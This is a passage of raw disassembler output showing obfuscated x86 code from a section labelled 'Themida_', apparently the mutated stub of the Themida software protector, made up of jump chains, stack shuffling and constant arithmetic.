; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DA43


loc_56173F:				; CODE XREF: sub_56DA43+993j
		xor	ebp, edi
		jmp	loc_569FC0
; END OF FUNCTION CHUNK	FOR sub_56DA43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560CF1


loc_561746:				; CODE XREF: sub_560CF1+11DD0j
		mov	[esp+8+var_8], edi
		mov	eax, [esp+8+var_8]
		push	edx
		push	esp
		pop	edx
		jmp	loc_5619AF
; END OF FUNCTION CHUNK	FOR sub_560CF1
; ---------------------------------------------------------------------------


loc_561754:				; CODE XREF: Themida_:0056DE53j
		mov	ebx, [esp]
		jmp	loc_570BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563819


loc_56175C:				; CODE XREF: sub_563819+107A2j
		add	ebx, 4
		jmp	sub_574D8F
; END OF FUNCTION CHUNK	FOR sub_563819
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56CC46


loc_561767:				; CODE XREF: sub_56CC46+77A0j
		and	ebp, 6F1910CAh
		push	edx
		jmp	loc_560A84
; END OF FUNCTION CHUNK	FOR sub_56CC46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5605BC


loc_561773:				; CODE XREF: sub_5605BC+6A58j
		neg	ecx
		jmp	loc_572D1C
; END OF FUNCTION CHUNK	FOR sub_5605BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5643EB


loc_56177A:				; CODE XREF: sub_5643EB+35A5j
		mov	edx, 5EF860C2h
		jmp	loc_570BD7
; END OF FUNCTION CHUNK	FOR sub_5643EB

; =============== S U B	R O U T	I N E =======================================



sub_561784	proc near		; DATA XREF: Themida_:0055FDD0o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056E4B5 SIZE 00000008 BYTES

		push	79A1h
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+8+var_8]
		pop	esp
		sub	esp, 4
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		pop	[esp+8+var_8]
		push	ecx
		mov	ecx, 4
		add	[esp+8+var_4], ecx
		pop	ecx
		pop	[esp+4+var_4]
		sub	esp, 4
		jmp	loc_56E4B5
sub_561784	endp

; ---------------------------------------------------------------------------


loc_5617BF:				; CODE XREF: Themida_:005743F6j
		pop	esp
		rol	byte ptr [esp],	cl
		pushf
		jmp	loc_55FF9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5671E1


loc_5617C9:				; CODE XREF: sub_5671E1+C64Dj
		add	edi, 2E0F2F9Eh
		jmp	loc_573EE4
; END OF FUNCTION CHUNK	FOR sub_5671E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_5617D4:				; CODE XREF: sub_564D26+AEC0j
		add	edx, 4F381B7Dh
		pop	edi
		jmp	loc_567294
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_5617E0:				; CODE XREF: sub_5685B2-4C28j
		push	eax
		mov	ah, 14h
		or	dl, ah
		pop	eax
		push	6D00h
		mov	[esp+8+var_8], ebx
		mov	bh, 0D4h
		push	ecx
		mov	cl, 4Fh
		jmp	loc_5647D4
; END OF FUNCTION CHUNK	FOR sub_5685B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561541


loc_5617F8:				; CODE XREF: sub_561541-B6j
		add	esp, 4
		xchg	eax, [esp+0Ch+var_C]
		jmp	loc_56E8DE
; END OF FUNCTION CHUNK	FOR sub_561541
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571C93


loc_561806:				; CODE XREF: sub_571C93-2BDFj
		push	1474h
		jmp	loc_565945
; END OF FUNCTION CHUNK	FOR sub_571C93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566AF9


loc_561810:				; CODE XREF: sub_566AF9+2630j
		pop	edx
		push	esi
		mov	esi, 3FFF3F8h
		sub	edx, esi
		pop	esi
		add	ebp, edx
		push	[esp+8+var_8]
		pop	edx
		push	edx
		jmp	loc_564259
; END OF FUNCTION CHUNK	FOR sub_566AF9

; =============== S U B	R O U T	I N E =======================================



sub_561826	proc near		; CODE XREF: sub_56F029+22j

var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_2		= word ptr  6

; FUNCTION CHUNK AT 0056550B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005656AC SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056787E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056E743 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056FE5F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005749A3 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00575465 SIZE 00000005 BYTES

		sub	esp, 2
		mov	[esp+4+var_4], ax
		mov	bx, [esp+4+var_4]
		add	esp, 2
		pop	ax
		xchg	ax, cx
		not	cx
		jmp	loc_56787E
sub_561826	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_561840:				; CODE XREF: Themida_:00571E08j
		sub	ebx, 311227DDh
		sub	ebx, 54D950A5h
		sub	ebx, edi
		push	eax
		jmp	loc_5622AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5716A0


loc_561854:				; CODE XREF: sub_5716A0+1j
		mov	ebx, 753D2399h
		xor	edx, ebx
		pop	ebx
		xor	edx, eax
		push	dword ptr [esp+0]
		pop	eax
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	esi
		mov	esi, 2FCC5691h
		sub	esi, 21EE09F5h
		or	esi, 1F290E8Bh
		xor	esi, 1FFF4E9Bh
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp+4+var_4]
		pop	esp
		jmp	sub_572669
; END OF FUNCTION CHUNK	FOR sub_5716A0
; ---------------------------------------------------------------------------


loc_56188F:				; CODE XREF: Themida_:00570AEBj
		mov	edx, 203E7D94h
		push	esi
		mov	esi, 3C1355h
		jmp	loc_56B416

; =============== S U B	R O U T	I N E =======================================



sub_56189F	proc near		; CODE XREF: sub_575328-13A4j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005619D9 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005655A8 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056A719 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056B2AD SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056D720 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005703A8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00570652 SIZE 00000005 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edi
		mov	edi, 5BFB3B1Eh
		jmp	loc_56B2AD
sub_56189F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574DC1


loc_5618B2:				; CODE XREF: sub_574DC1-E759j
		pop	ebp
		sub	eax, 37E73747h
		jmp	sub_56B71F
; END OF FUNCTION CHUNK	FOR sub_574DC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AA2B


loc_5618BD:				; CODE XREF: sub_56AA2B-A3FAj
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_56AA2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB5E


loc_5618C2:				; CODE XREF: sub_56AB5E-4AFFj
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D464


loc_5618C7:				; CODE XREF: sub_56D464-CBCDj
		mov	eax, [esp+8+var_8]
		push	ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		add	ebx, 4
		xor	ebx, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], ebx
		xor	ebx, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		or	[edi+1Ch], eax
		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		jmp	loc_573924
; END OF FUNCTION CHUNK	FOR sub_56D464
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5713A7


loc_5618F3:				; CODE XREF: sub_5713A7-A79Bj
		mov	ecx, 41AB7105h
		neg	ecx
		neg	ecx
		shr	ecx, 7
		sub	ecx, 0DACE3AB8h
		push	esi
		mov	esi, 41364FF5h
		jmp	loc_5720DA
; END OF FUNCTION CHUNK	FOR sub_5713A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572075


loc_561910:				; CODE XREF: sub_572075-BB37j
		xor	[esp+0], edi
		xor	edi, [esp+0]
		mov	esp, [esp+0]
		push	dword ptr [esp+0]
		mov	eax, [esp+4+var_4]
		add	esp, 4
		jmp	loc_562986
; END OF FUNCTION CHUNK	FOR sub_572075
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567CFE


loc_561927:				; CODE XREF: sub_567CFE-7832j
		add	ecx, 3D2682D3h
		xor	ebp, ecx
		pop	ecx
		jmp	loc_572352
; END OF FUNCTION CHUNK	FOR sub_567CFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5715F0


loc_561935:				; CODE XREF: sub_5715F0-E0A0j
		add	ebx, 4
		add	ebx, 2
		push	ebx
		jmp	loc_56255D
; END OF FUNCTION CHUNK	FOR sub_5715F0
; ---------------------------------------------------------------------------


loc_561947:				; CODE XREF: Themida_:00575428j
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_570BE4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57146D


loc_561968:				; CODE XREF: sub_57146D-6775j
		add	bl, dl
		pop	dx
		push	18E3h
		mov	[esp+6+var_8+2], edx
		jmp	loc_56BC81
; END OF FUNCTION CHUNK	FOR sub_57146D

; =============== S U B	R O U T	I N E =======================================



sub_561979	proc near		; CODE XREF: sub_560CF1+CC4j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00563160 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00563850 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056B1E4 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056C96D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056FB34 SIZE 0000000F BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		xor	edx, [esp+0]
		xor	[esp+0], edx
		xor	edx, [esp+0]
		pop	esp
		mov	edi, [esp-4+arg_0]
		add	esp, 4
		push	7CE5h
		mov	[esp-4+arg_0], edx
		push	69C6h
		mov	[esp+0], esi
		jmp	loc_56C96D
sub_561979	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560CF1


loc_5619AF:				; CODE XREF: sub_560CF1+A5Ej
		add	edx, 4
		jmp	sub_561979
; END OF FUNCTION CHUNK	FOR sub_560CF1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B06D


loc_5619BA:				; CODE XREF: sub_56B06D+45BFj
		pop	edx
		push	7784h
		mov	[esp+0], ebp
		sub	esp, 4
		push	esp
		jmp	loc_564185
; END OF FUNCTION CHUNK	FOR sub_56B06D
; ---------------------------------------------------------------------------


loc_5619CC:				; CODE XREF: Themida_:0056C812j
		add	esp, 4
		pop	dword ptr [eax]
		jmp	loc_55FF9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56189F


loc_5619D9:				; CODE XREF: sub_56189F+BE9Cj
		sub	edi, 4276CE19h
		add	eax, edi
		pop	edi
		push	384Dh
		mov	[esp+4+var_4], eax
		jmp	loc_5655A8
; END OF FUNCTION CHUNK	FOR sub_56189F

; =============== S U B	R O U T	I N E =======================================



sub_5619EF	proc near		; DATA XREF: Themida_:0055FD68o

; FUNCTION CHUNK AT 005714DB SIZE 00000005 BYTES

		mov	sp, [esp+0]
		jmp	loc_5714DB
sub_5619EF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_5619F8:				; CODE XREF: sub_563A7F+62FEj
		push	ax
		jmp	loc_56CEAD
; END OF FUNCTION CHUNK	FOR sub_563A7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56628B


loc_5619FF:				; CODE XREF: sub_56628B+BFE0j
		mov	[esp+4+var_4], ebp
		mov	ebp, 0A9333C7h
		shr	ebp, 7
		sub	esp, 4
		mov	[esp+8+var_8], esi
		mov	esi, 62E41D66h
		jmp	loc_562816
; END OF FUNCTION CHUNK	FOR sub_56628B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5653AD


loc_561A1A:				; CODE XREF: sub_5653AD+BC51j
		mov	eax, edx
		pop	edx
		add	eax, ebp
		pop	ebp
		add	ebx, 71343170h
		jmp	loc_574128
; END OF FUNCTION CHUNK	FOR sub_5653AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_561A2B:				; CODE XREF: sub_5678CB-69CDj
		push	edx
		mov	dl, 0Dh
		jmp	loc_566E1F
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A7FB


loc_561A33:				; CODE XREF: sub_56A7FB+9E56j
		mov	[esp+8+var_8], ebx
		mov	bl, 0F5h
		mov	al, bl
		pop	ebx
		jmp	loc_56FA76
; END OF FUNCTION CHUNK	FOR sub_56A7FB
; ---------------------------------------------------------------------------


loc_561A40:				; CODE XREF: Themida_:0057032Bj
		pop	esp
		jmp	loc_5630AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D3AF


loc_561A46:				; CODE XREF: sub_56D3AF+1BFCj
		mov	[esp+0Ch+var_C], edx
		mov	edx, 3A6D035Dh
		sub	esi, edx
		mov	edx, [esp+0Ch+var_C]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+10h+var_10]
		pop	esp
		jmp	loc_57160C
; END OF FUNCTION CHUNK	FOR sub_56D3AF
; ---------------------------------------------------------------------------


loc_561A6B:				; CODE XREF: Themida_:00570EF1j
		add	esi, ebp
		pop	ebp
		not	esi
		xor	esi, 0FA2618A5h
		sub	esi, 78210541h
		shr	esi, 2
		or	esi, 65DA1A8Ah
		push	eax
		mov	eax, 677159CBh
		add	esi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5735EE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567CFE


loc_561A9B:				; CODE XREF: sub_567CFE+A66Aj
		add	ebp, eax
		pop	eax
		xor	ebp, 27FA6B51h
		mov	ebx, ebp
		pop	ebp
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_567CFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565849


loc_561AAC:				; CODE XREF: sub_565849+C620j
		pop	esp
		mov	[esp+4+var_4], ebx
		mov	ebx, esp
		jmp	loc_572826
; END OF FUNCTION CHUNK	FOR sub_565849
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_561AB7:				; CODE XREF: sub_5685B2-4DD2j
		pop	ebp
		xor	ebx, edx
		pop	edx
		jmp	loc_56B336
; END OF FUNCTION CHUNK	FOR sub_5685B2
; ---------------------------------------------------------------------------


loc_561AC0:				; CODE XREF: Themida_:0056F88Ej
		push	esp
		pop	eax
		push	edx
		jmp	loc_57031B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570E81


loc_561AC8:				; CODE XREF: sub_570E81+4487j
		mov	ecx, 4BC4D915h
		add	esi, ecx
		pop	ecx
		and	edi, esi
		pop	esi
		jmp	loc_57081E
; END OF FUNCTION CHUNK	FOR sub_570E81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571890


loc_561AD8:				; CODE XREF: sub_571890-23ADj
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+0Ch+var_C]
		pop	esp
		jmp	loc_574EE8
; END OF FUNCTION CHUNK	FOR sub_571890
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56264C


loc_561AEF:				; CODE XREF: sub_56264C+720Ej
		sub	eax, 24217B3Ch
		sub	eax, 49081E4Fh
		sub	eax, ebx
		push	ecx
		mov	ecx, 49081E4Fh
		add	eax, ecx
		pop	ecx
		jmp	loc_56B2B4
; END OF FUNCTION CHUNK	FOR sub_56264C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5642C7


loc_561B09:				; CODE XREF: sub_5642C7-363Bj
		and	ebp, 147F3694h
		xchg	edi, ebp
		not	edi
		xchg	edi, ebp
		jmp	sub_56A608
; END OF FUNCTION CHUNK	FOR sub_5642C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574F16


loc_561B1A:				; CODE XREF: sub_574F16-E9FDj
		mov	ecx, [esp+0Ch+var_E+2]
		add	esp, 4
		mov	cl, bl
		pop	ebx
		jmp	sub_56ADD8
; END OF FUNCTION CHUNK	FOR sub_574F16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_561B28:				; CODE XREF: sub_5685B2-77FEj
		add	esp, 4
		add	ah, 10h
		jmp	loc_5665FC
; END OF FUNCTION CHUNK	FOR sub_5685B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572669


loc_561B33:				; CODE XREF: sub_572669-AC14j
		push	40A0h
		mov	[esp+4+var_4], edx
		mov	edx, 34C17704h
		push	ecx
		mov	ecx, 139D4989h
		push	edi
		push	ebx
		mov	ebx, 58D47706h
		mov	edi, ebx
		pop	ebx
		jmp	sub_566078
; END OF FUNCTION CHUNK	FOR sub_572669

; =============== S U B	R O U T	I N E =======================================



sub_561B55	proc near		; CODE XREF: sub_562676+D587j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00561E89 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 00572FAE SIZE 0000003A BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		pop	ebp
		add	ebp, 4
		push	esi
		push	edx
		jmp	loc_561E89
sub_561B55	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DD54


loc_561B70:				; CODE XREF: sub_56DD54+16BDj
		or	ebp, 14AF45B8h
		shr	ebp, 2
		or	ebp, 5ED715F9h
		sub	ebp, 29AF68A3h
		xor	edx, ebp
		jmp	loc_565202
; END OF FUNCTION CHUNK	FOR sub_56DD54
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_561B8C:				; CODE XREF: sub_563A7F+6B99j
		pop	ecx
		pop	ebx
		push	edx
		mov	dh, 14h
		xor	dh, 0E5h
		and	dh, 0C6h
		jmp	loc_570CF4
; END OF FUNCTION CHUNK	FOR sub_563A7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57236D


loc_561B9C:				; CODE XREF: sub_57236D-48DBj
		xor	[esp+0], ecx
		jmp	loc_5666E4
; END OF FUNCTION CHUNK	FOR sub_57236D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57549C


loc_561BA4:				; CODE XREF: sub_57549C-71Fj
		pop	esp
		mov	[esp+8+var_8], edx
		push	esp
		jmp	loc_56ED47
; END OF FUNCTION CHUNK	FOR sub_57549C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_561BAE:				; CODE XREF: sub_574304-7A86j
		add	edx, eax
		pop	eax
		xor	edx, 4B2472Fh
		mov	ebp, edx
		pop	edx
		add	ebx, 3AD63844h
		jmp	loc_56D554
; END OF FUNCTION CHUNK	FOR sub_574304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B577


loc_561BC5:				; CODE XREF: sub_56B577+4D3Fj
		xor	edx, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		mov	[esp+0], eax
		mov	eax, 4
		sub	ebp, 1F8E7AF4h
		sub	ebp, 6BE449Bh
		add	ebp, 35346307h
		jmp	loc_56B5C9
; END OF FUNCTION CHUNK	FOR sub_56B577
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E126


loc_561BEA:				; CODE XREF: sub_56E126+2AD0j
		push	esi
		jmp	loc_56D5FE
; END OF FUNCTION CHUNK	FOR sub_56E126
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563207


loc_561BF0:				; CODE XREF: sub_563207+685Ej
		mov	ebx, 4
		add	esi, ebx
		jmp	loc_56DE7F
; END OF FUNCTION CHUNK	FOR sub_563207
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570E81


loc_561BFC:				; CODE XREF: sub_570E81-9D4Cj
		mov	esi, 43286BD6h
		sub	esi, 1ADC5122h
		neg	esi
		shl	esi, 8
		inc	esi
		push	ebx
		mov	ebx, 45F23952h
		dec	ebx
		jmp	loc_5687BC
; END OF FUNCTION CHUNK	FOR sub_570E81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_561C19:				; CODE XREF: sub_563A7F+2EA8j
		mov	ecx, [esp+0Eh+var_10+2]
		jmp	loc_564B78
; END OF FUNCTION CHUNK	FOR sub_563A7F

; =============== S U B	R O U T	I N E =======================================



sub_561C21	proc near		; CODE XREF: sub_56671D-355j

var_2		= byte ptr -2
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00569E33 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056A5D6 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0056EC45 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00574BF5 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00575150 SIZE 00000010 BYTES

		push	ebx
		push	edx
		mov	dl, 0C0h
		mov	bh, dl
		jmp	loc_569E33
sub_561C21	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572DD7


loc_561C2C:				; CODE XREF: sub_572DD7-3366j
		add	esi, 4
		jmp	loc_5616DC
; END OF FUNCTION CHUNK	FOR sub_572DD7
; ---------------------------------------------------------------------------


loc_561C37:				; CODE XREF: Themida_:0056CF6Dj
		inc	edi
		push	ebp
		mov	ebp, 6A47B60h
		not	ebp
		jmp	loc_5720E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57549C


loc_561C45:				; CODE XREF: sub_57549C-14B5j
		mov	edx, 4CA0596Eh
		sub	edi, edx
		jmp	loc_571652
; END OF FUNCTION CHUNK	FOR sub_57549C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB51


loc_561C51:				; CODE XREF: sub_56AB51+8j
		mov	ecx, 0C336862h
		shl	ecx, 4
		push	esi
		mov	esi, 6728456Bh
		and	esi, 6304699Ch
		sub	esi, 97E55A9h
		xor	esi, 9AB76D43h
		sub	ecx, esi
		pop	esi
		add	eax, ecx
		pop	ecx
		push	0A6Ah
		mov	[esp+8+var_8], edi
		mov	edi, 2
		add	eax, 6DC83961h
		add	eax, edi
		push	esi
		mov	esi, 33B03255h
		neg	esi
		xor	esi, 0A187F4CAh
		sub	esp, 4
		mov	[esp+10h+var_10], ecx
		mov	ecx, 476B4B30h
		jmp	loc_563D91
; END OF FUNCTION CHUNK	FOR sub_56AB51
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569A75


loc_561CAC:				; CODE XREF: sub_569A75+8277j
		add	cl, 0Dh
		sub	al, cl
		pop	ecx
		add	al, 0A4h
		add	al, dh
		sub	al, 0A4h
		add	al, 4Dh
		jmp	loc_5719B6
; END OF FUNCTION CHUNK	FOR sub_569A75
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5620B7


loc_561CBF:				; CODE XREF: sub_5620B7+77E8j
		push	edx
		push	3D53h
		mov	[esp+18h+var_18], eax
		pop	edx
		jmp	loc_5707E2
; END OF FUNCTION CHUNK	FOR sub_5620B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568CD2


loc_561CCE:				; CODE XREF: sub_568CD2-76B4j
		push	ecx
		jmp	sub_564020
; END OF FUNCTION CHUNK	FOR sub_568CD2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574A21


loc_561CD4:				; CODE XREF: sub_574A21-DB36j
		sub	eax, 54C25627h
		sub	eax, ebx
		add	eax, 54C25627h
		add	eax, 15D92143h
		push	edx
		mov	edx, 78042C51h
		shr	edx, 5
		or	edx, 1526116Ch
		xor	edx, 5DF43DC2h
		sub	eax, 28166867h
		add	eax, edx
		push	edi
		mov	edi, 4AB11721h
		shl	edi, 7
		shl	edi, 2
		sub	edi, 31544C47h
		sub	edi, 55AA23B6h
		or	edi, 332D63A3h
		sub	edi, 0D3198B3Ch
		add	eax, edi
		pop	edi
		pop	edx
		add	eax, 105D1C48h
		jmp	loc_568CB3
; END OF FUNCTION CHUNK	FOR sub_574A21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F782


loc_561D33:				; CODE XREF: sub_56F782-5F95j
		add	ebp, 4
		jmp	loc_56727C
; END OF FUNCTION CHUNK	FOR sub_56F782
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D0B7


loc_561D3E:				; CODE XREF: sub_56D0B7+771Bj
		pop	eax
		or	eax, 0E56545Dh
		xor	eax, 5E767459h
		add	ebp, eax
		jmp	loc_571759
; END OF FUNCTION CHUNK	FOR sub_56D0B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_561D50:				; CODE XREF: sub_564D26+AC14j
		neg	edi
		push	ebp
		mov	ebp, 13602238h
		add	edi, 412C404Ch
		sub	edi, ebp
		sub	edi, 412C404Ch
		jmp	loc_570DCB
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561F05


loc_561D6B:				; CODE XREF: sub_561F05+7320j
		push	1E42h
		mov	[esp+4+var_4], edi
		mov	edi, esp
		push	6C3Ch
		jmp	loc_5674FE
; END OF FUNCTION CHUNK	FOR sub_561F05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570732


loc_561D7F:				; CODE XREF: sub_570732-79EBj
		push	5043h
		jmp	loc_5647FD
; END OF FUNCTION CHUNK	FOR sub_570732
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BD44


loc_561D89:				; CODE XREF: sub_56BD44-932Fj
		add	eax, edi
		sub	eax, 8EB5816h
		jmp	loc_561256
; END OF FUNCTION CHUNK	FOR sub_56BD44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571289


loc_561D95:				; CODE XREF: sub_571289-8514j
		mov	edx, eax
		pop	eax
		jmp	loc_5628DF
; END OF FUNCTION CHUNK	FOR sub_571289
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747FA


loc_561D9D:				; CODE XREF: sub_5747FA-8B5j
		or	ebp, 37766B65h
		shr	ebp, 7
		add	ebp, 7C1700DBh
		jmp	loc_56070A
; END OF FUNCTION CHUNK	FOR sub_5747FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5713A7


loc_561DB1:				; CODE XREF: sub_5713A7-7C3Aj
		xchg	edi, [esp+0Ch+var_C]
		pop	esp
		mov	edx, [esp+8+var_8]
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebp
		jmp	loc_5656F5
; END OF FUNCTION CHUNK	FOR sub_5713A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A423


loc_561DC3:				; CODE XREF: sub_56A423+1E89j
		push	esi
		mov	esi, 6A612BA8h
		or	esi, 7ADC707Eh
		xor	esi, 0F7E3C873h
		mov	edx, esi
		jmp	loc_574C67
; END OF FUNCTION CHUNK	FOR sub_56A423
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572669


loc_561DDC:				; CODE XREF: sub_572669-2BB5j
		push	edx
		mov	edx, 8A16AE3h
		add	edx, 9793F9BCh
		mov	ebx, edx
		pop	edx
		jmp	loc_56F8C9
; END OF FUNCTION CHUNK	FOR sub_572669
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568646


loc_561DF0:				; CODE XREF: sub_568646+6FD4j
		push	2229h
		mov	[esp+0], edx
		jmp	loc_56EC69
; END OF FUNCTION CHUNK	FOR sub_568646
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571F6F


loc_561DFD:				; CODE XREF: sub_571F6F+322j
		add	esp, 4
		add	eax, ecx
		pop	ecx
		sub	eax, 4
		push	1F9Ch
		mov	[esp+8+var_8], eax
		push	[esp+8+var_4]
		pop	eax
		pop	[esp+8+var_8]
		pop	esp
		mov	[esp+0], eax
		push	esp
		pop	eax
